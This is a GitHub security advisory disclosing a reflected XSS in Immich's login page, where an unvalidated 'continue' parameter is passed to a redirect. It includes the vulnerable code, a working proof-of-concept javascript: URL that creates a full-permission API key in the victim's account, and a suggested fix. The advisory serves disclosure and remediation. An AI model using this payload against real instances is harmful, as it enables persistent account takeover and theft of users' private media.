Skip to content

One-click account takeover via XSS in login page continue redirect

Critical
jrasm91 published GHSA-8244-8vpr-vp9c Jun 1, 2026

Package

docker immich-server (docker)

Affected versions

> main@4ffa26c9

Patched versions

> main@4eb1003

Description

Affected: main branch builds since commit 4ffa26c9 (PR #27831, merged 2026-04-15), including the :main Docker tag and any nightly. No tagged release is affected — v2.7.5 (the current stable) and earlier are safe.

Patched in: not yet patched; the bug currently sits on main and will ship in the next tagged release unless fixed before then.

Summary

A reflected cross-site scripting (XSS) vulnerability on the /auth/login page allows an attacker to fully compromise any authenticated user's account with a single link click. The continue query parameter is read from the URL and passed to SvelteKit's redirect() without any scheme or origin validation, allowing attacker-controlled JavaScript to execute inside Immich's origin. The payload then uses the victim's existing session to mint an all-permission API key on their account, leading to persistent account takeover.

Details

In web/src/routes/auth/login/+page.ts (introduced by PR #27831, commit 4ffa26c9, 2026-04-15):

const continueUrl = url.searchParams.get('continue') || Route.photos();
if (authManager.authenticated) {
  redirect(307, continueUrl);
}

The continue value is taken from the URL and handed directly to redirect(). SvelteKit's redirect() performs no validation on the destination, and the client-side runtime ultimately resolves the redirect via location.href = url.href inside native_navigation. For a javascript: URL, this causes the browser to evaluate the JS expression in Immich's origin, with the victim's session cookie attached automatically to any subsequent same-origin request.

Because the cookies are HttpOnly, the attacker does not need to read them — the browser attaches them to any fetch('/api/...') the injected script makes.

PoC

  1. Run a vulnerable Immich (any build from main since 2026-04-15, e.g. the ghcr.io/immich-app/immich-server:main Docker tag).
  2. As the victim, log in normally.
  3. Cause the victim to visit (chat, email, hidden iframe, link shortener) — replace <immich-host> with the real hostname of the target instance:
http://<immich-host>/auth/login?continue=javascript:fetch('/api/api-keys',{method:'POST',headers:{'content-type':'application/json'},body:'{"name":"pwned","permissions":["all"]}'}).then(r=>r.json()).then(d=>{alert('PWNED\nSECRET='.concat(d.secret));window.__pwned=d});void(0)
Screenshot 2026-05-11 at 9 21 27 PM Observed in a real browser (Chrome, latest):
  • The browser navigates to /auth/login?continue=….
  • A native alert dialog pops, reading:
PWNED
SECRET=<a working, full-permission API key>
  • DevTools → Network shows a real POST /api/api-keys with {"name":"pwned","permissions":["all"]}, response 201.
  • The new key appears in Account Settings → API Keys, named pwned, with the full permission list checked.
  • The captured secret authenticates against /api/users/me from any host via the x-api-key header, proving the access is persistent across logout, password change, and session expiry.

Verified end-to-end on 2026-05-11 against ghcr.io/immich-app/immich-server:main.

Impact

  • Type: Reflected XSS leading to full account takeover.
  • Precondition: Victim is authenticated at the time of the click. Immich sessions persist for long periods, so this is satisfied for typical users.
  • What an attacker obtains: A persistent, full-permission API key on the victim's account. Works from any machine on the internet that can reach the Immich instance. Survives logout, password rotation, and session expiry. Can only be revoked by manually deleting it from Account Settings → API Keys.
  • Concrete capabilities: read/delete every photo and video, modify settings, change email/password, exfiltrate face and GPS data, invite the attacker into shared albums. If the victim is an admin, modify global instance settings and lock the real admin out.

Suggested fix

Validate that continueUrl is a same-origin relative path before passing it to redirect():

const raw = url.searchParams.get('continue');
const continueUrl =
  raw && raw.startsWith('/') && !raw.startsWith('//')
    ? raw
    : Route.photos();
  • startsWith('/')
    keeps the destination inside the app.
  • !startsWith('//') blocks protocol-relative URLs like //evil.com.
  • Together, this rejects javascript:, data:, https://evil.com, and //evil.com.

Apply the same check to web/src/routes/auth/pin-prompt/+page.ts for consistency — that sink is currently neutralized by a different SvelteKit guard but would benefit from the same allow-list.

Severity

Critical

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
Required
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

CVE ID

No known CVE

Weaknesses

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. Learn more on MITRE.

URL Redirection to Untrusted Site ('Open Redirect')

The web application accepts a user-controlled input that specifies a link to an external site, and uses that link in a redirect. Learn more on MITRE.

Credits